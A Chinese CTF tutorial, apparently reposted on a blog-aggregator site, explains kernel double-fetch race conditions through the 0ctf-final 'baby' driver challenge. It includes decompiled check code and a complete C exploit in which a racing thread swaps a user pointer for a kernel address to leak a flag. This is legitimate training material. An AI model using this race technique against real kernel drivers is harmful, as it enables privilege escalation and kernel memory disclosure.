Kernel Pwn基础教程之 Double Fetch

这篇具有很好参考价值的文章主要介绍了Kernel Pwn基础教程之 Double Fetch。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

 一、前言

 Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。

 二、Double Fetch介绍

 如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。

 三、Double Fetch例题

 1、题目分析

 本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。

 不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: sub_25+25↑r
.data:0000000000000480                                         ; sub_25+D6↑r ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"

 当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。

bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi

my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}

 我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:

1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同

 通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。

for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
  return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;

 2、漏洞利用

 通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。

 3、EXP

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

int finish = 1;

struct message {
  char *addr;
  int len;
}data;

size_t flag_address = 0;

void read_flag_address() {
  system("dmesg | grep flag > message.txt");
  int fd = open("message.txt", O_RDWR);
  char buf[0x60] = {0};

  read(fd, buf, sizeof(buf));
  size_t idx = strstr(buf, "at ") + 3;
  sscanf(idx, "%llx", &flag_address);
  printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
  close(fd);
}

void evil_thread() {
  while (finish == 1) {
      data.addr = flag_address;
  }
}

void main() {
  pthread_t pthread;
  int fd = open("/dev/baby", O_RDWR);
  char buf[0x100] = {0};
  ioctl(fd, 0x6666);
  read_flag_address();

  pthread_create(&pthread, NULL, evil_thread, NULL);

  data.addr = buf;
  data.len = 33;

  for (int i = 0; i < 0x1000; i++) {
      ioctl(fd, 0x1337, &data);
      data.addr = buf;
  }
  finish = 0;
  pthread_join(pthread, NULL);
  system("dmesg | grep flag");
  close(fd);
}

 使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。

gcc  -pthread -g -static -masm=intel -o exp exp.c

 四、总结

 Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。

 更多靶场实验练习、网安学习资料,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-711262.html

到了这里,关于Kernel Pwn基础教程之 Double Fetch的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(25)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(23)
  • 攻防世界hello pwn WP(pwn入门基础题)

    题目网址: 攻防世界 下载文件,文件名太长了把文件改名为pwn 把pwn文件放入kali里面 file一下查看文件类型 发现是一个64位的elf文件,加个运行权限,运行一下看看  使用 checksec 检查保护 发现只开了 NX 保护。 把pwn放入64位IDA中,F5反汇编一下main函数 得到main函数伪代码 点击

    2024年02月10日
    浏览(31)
  • PostgreSQL详细教程(一)—— 前言

    目录 PostgreSQL简介 PostgreSQL 特征   PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的BSD许可证下发行。 PostgreSQL 开发者把它念作 post-gress-Q-L。 PostgreSQL 的 Slogan 是 \\\"世界上最先进的开源关系型数据库\\\"。 PostgreSQL与Oracle一样是使用共享内存的进程结构,而大家都比较

    2024年02月12日
    浏览(38)
  • 《Git入门实践教程》前言+目录

    版本控制系统(VCS)在项目开发中异常重要,但和在校大学生的交流中知道,这个重要方向并未受到重视。具备这一技能,既是项目开发能力的体现,也可为各种面试加码。在学习体验后知道,Git多样化平台、多种操作方式、丰富的资源为业内人士提供了方便的同时,也造成

    2024年02月10日
    浏览(50)
  • windows pwn 基础知识

    winchecksec winchecksec 是 windows 版的 checksec ,不过有时候结果不太准确。 checksec(x64dbg) x64dbg 的插件 checksec 检查效果比较准确,并且可以连同加载的 dll 一起检测。 将 release 的插件按 32 和 64 位分别放到 x32dbg 和 x64dbg 的 plugins 目录,如果找不到 plugins 目录则打开调试器然后关闭

    2024年02月15日
    浏览(44)
  • 【RabbitMQ教程】前言 —— 中间件介绍

                                                                       💧 【 R a b b i t M Q 教程】前言——中间件介绍 color{#FF1493}{【RabbitMQ教程】前言 —— 中间件介绍} 【 R abbi tMQ 教程】前言 —— 中间件介绍 💧           🌷 仰望天空,妳

    2024年02月08日
    浏览(60)
  • pwn打打基础——BUUCTF篇(1)

    BUUCTF刷刷基础题先,打牢下基础 就非常经典的起引导作用的nc题 格式:nc IP 端口 checksec一下 发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码 发现有gets()函数(并不会限制输入的字节数),也有system(\\\"/bin/sh\\\"),没有什么其它陷阱。那这就是

    2024年02月05日
    浏览(32)
  • 【k8s完整实战教程0】前言

    系列文章:这个系列已完结,如对您有帮助,求点赞收藏评论。 读者寄语: 再小的帆,也能远航! 【k8s完整实战教程0】前言 【k8s完整实战教程1】源码管理-Coding 【k8s完整实战教程2】腾讯云搭建k8s托管集群 【k8s完整实战教程3】k8s集群部署kubesphere 【k8s完整实战教程4】使用

    2023年04月24日
    浏览(34)
  • 《Docker极简教程》--前言--Docker的简介

    Docker 是一种用于构建、部署和运行应用程序的开源平台,它使用容器技术来实现轻量级、可移植和自包含的应用程序环境。Docker 的核心思想是将应用程序及其依赖项打包到一个称为容器的封闭单元中,从而消除了在不同环境中运行应用程序时可能出现的许多兼容性和依赖性

    2024年02月21日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包